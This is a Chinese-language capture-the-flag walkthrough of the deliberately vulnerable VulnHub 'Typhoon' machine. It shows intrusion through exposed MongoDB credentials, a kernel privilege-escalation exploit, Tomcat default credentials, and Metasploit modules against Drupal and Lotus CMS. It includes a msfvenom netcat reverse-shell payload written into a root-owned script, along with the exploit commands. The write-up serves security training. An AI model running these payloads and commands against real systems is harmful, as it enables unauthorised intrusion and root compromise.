本次的Typhoon靶机包含了几个漏洞和配置错误。你们可以用这个靶机来测试网络服务漏洞,配置错误,web应用漏洞,也可以进行密码破解攻击,提权,后渗透,还可以进行信息收集和DNS攻击。
靶机下载地址:https://www.vulnhub.com/entry/typhoon-102,267/
渗透测试方法
· 网络扫描(Netdiscover和Nmap都行)
· 方法一:利用MongoDB进行入侵
· 查看robots.txt
· 通过浏览器利用MongoDB
· 获取凭证
· SSH登录
· 查看内核版本
· 内核提权
· 拿到root shell
· 方法二:通过Tomcat管理界面进行入侵(借助metasploit神器)
· 生成bash payload
· 上传bash payload
· 拿下root shell
· 方法三:利用Drupal CMS进行入侵
· 方法四:利用Lotus CMS进行入侵
这个靶机漏洞较多,所以我们也有很多方法来渗透它。不过本文只演示两种方法,其他方法大家可以自己琢磨。
方法1:通过MongoDB入侵
实战开始
第一步,使用netdiscover进行网络发现,找到我们的靶机IP。
netdiscover
我们这里的IP是192.168.1.101(每个人的IP可能不一样)。
下一步是对IP进行扫描,当然是少不了Nmap神器。
nmap -A 192.168.1.101
扫完后可以看到开放的端口和对应的服务如下:
· 21(ftp),
· 22(ssh),
· 25(smtp),
· 53(domain),
· 80(http),
· 110(pop3)
· 111(rpcbind)
· 139(netbios-ssn)
· 143(imap)
· 445(netbios-ssn)
· 631(ipp)
· 993(ssl/imaps),
· 995(ssl/pop3)
· 2049(nfs_acl)
· 3306(mysql),
· 5432(postgrespl)
· 8080(http)
如图:
在图中,可以看到robots.txt文件中/monoadmin这个目录禁止访问,这个目录可能会有用。我们还注意到8080端口也开放了,对应的服务是Apache Tomcat,使用的引擎是Coyote JSP engine1.1。这可能是另外一种渗透靶机的方法,我们一会儿再来看看。
我们先还是从80端口入手,通过浏览器访问一下/monoadmin这个目录,访问结果如图所示:
这里我们设置 change database为credentials(84mb),它会显示2个凭证的链接,我们点击一下这个链接,竟然显示出了用户名和密码,用户名是typhoon,密码是789456123,如图:
这个凭证对进一步渗透可能会大有帮助。
过了一会儿之后,突然脑海中蹦出来一个大胆的猜测,既然开放了22端口,那为什么不用刚才发现的凭证登录一下ssh试试呢,不得不说真是瞎猫碰上了死耗子,竟然成功登陆上来了,如图:
登录之后,我们发现虚拟机操作系统是Ubuntu14.04。而我们对Ubuntu14.04的提权exp也比较熟悉,这真是太棒了。
接着,我们用使用searchsploit来搜索Ubuntu14.04的提权exp,我们使用的exp已经在下图中用红框框出来了,然后我们将exp 37292.c复制到/root/directory目录下,然后使用Python启动一个服务器,从靶机中来下载这个exp。
exp搜索如图:
在靶机中把exp下载下来之后,将它放到/tmp目录下,然后编译exp并赋予权限,然后执行。
哦耶,成功提权到root。并且找到flag就在根目录下,查看一下文件内容即可得到flag,如图:
方法2:通过Tomcat Manager入侵
思路是这样的,利用Tomcat Manager Upload可以获得一个meterpreter会话,然后建立反向连接获得root权限。
OK,开始渗透实战。
前面通过扫描已经知道了8080端口是开放的,而且运行的是Apache Tomcat服务,直接在浏览器中访问8080端口看看,如图:
通过以前其他靶机的实战操作,我们已经对使用manager webapp来登录Tomcat服务器非常熟悉了。于是我们直接使用metasploit的一个模块tomcat_mgr_upload来尝试进行登录,使用Tomcat默认的用户名密码即可。
用户名:tomcat
密码:tomcat
噢耶,登录成功,获得meterpreter会话,如图:
进来之后发现是一个Python shell,以前我们也经常遇到,使用一条命令就可以进入系统的shell,命令如下:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
上图中也已经框出来这条命令。
接着我们花了一些时间来查找和遍历文件,发现在/tab目录下有一个script.sh文件,所有者是root,并且拥有所有权限。
既然如此,那我们就想着往这个文件里插入一些恶意代码。
OK,那我们就使用msfvenom来生成一段bash code,命令如下:
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=1234 R
生成的恶意代码如图:
然后我们将此恶意代码插入到script.sh文件中,使用如下命令:
echo "mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo" > script.sh
如图:
由于恶意代码在script.sh文件中得以执行后,我们在监听的nc端口上获得了一个反向的shell,而这个shell的权限直接是root,接下来查看root-flag就不多说了。
方法三:通过Drupal CMS入侵
访问80端口时并没有发现什么,于是我们使用Dirb来对web目录进行遍历,看看有没有新发现,如图:
如图可知,有两个cms目录,已经标记出来,有一个是drupal,这就有点搞头了。访问一下drupal目录,如图:
在metasploit中有一个可以直接利用drupal cms的模块,那就不多啰嗦了,直接上metasploit,命令如下:
use exploit/unix/webapp/drupal_drupalgeddon2 msf exploit(/unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.101 msf exploit(/unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal msf exploit(/unix/webapp/drupal_drupalgeddon2) > exploit
nice,依然可以顺利拿下meterpreter会话,是不是很爽。接下来的后渗透就跟方法一中方法一样,大家可以自己尝试。
方法四:通过Lotus CMS入侵
刚才通过目录扫描,发现了两个cms目录,我们已经对drupal cms进行入侵了,现在我们再来搞一下第二个cms,首先还是通过浏览器访问一下,如图:
其实方法跟上面的一样,metasploit中也有一个可以直接利用lotus cms的模块,利用命令如下:
use exploit/multi/http/lcms_php_exec msf exploit(multi/http/lcms_php_exec) > set rhost 192.168.1.101 msf exploit(multi/http/lcms_php_exec) > set uri /cms/ msf exploit(multi/http/lcms_php_exec) > exploit
执行命令后,结果如图:
非常棒,我们同样获得了靶机的另一个meterpreter会话,后渗透的步骤跟上面的一样,就不啰嗦了,大家自己跟着方法一的步骤做一遍即可。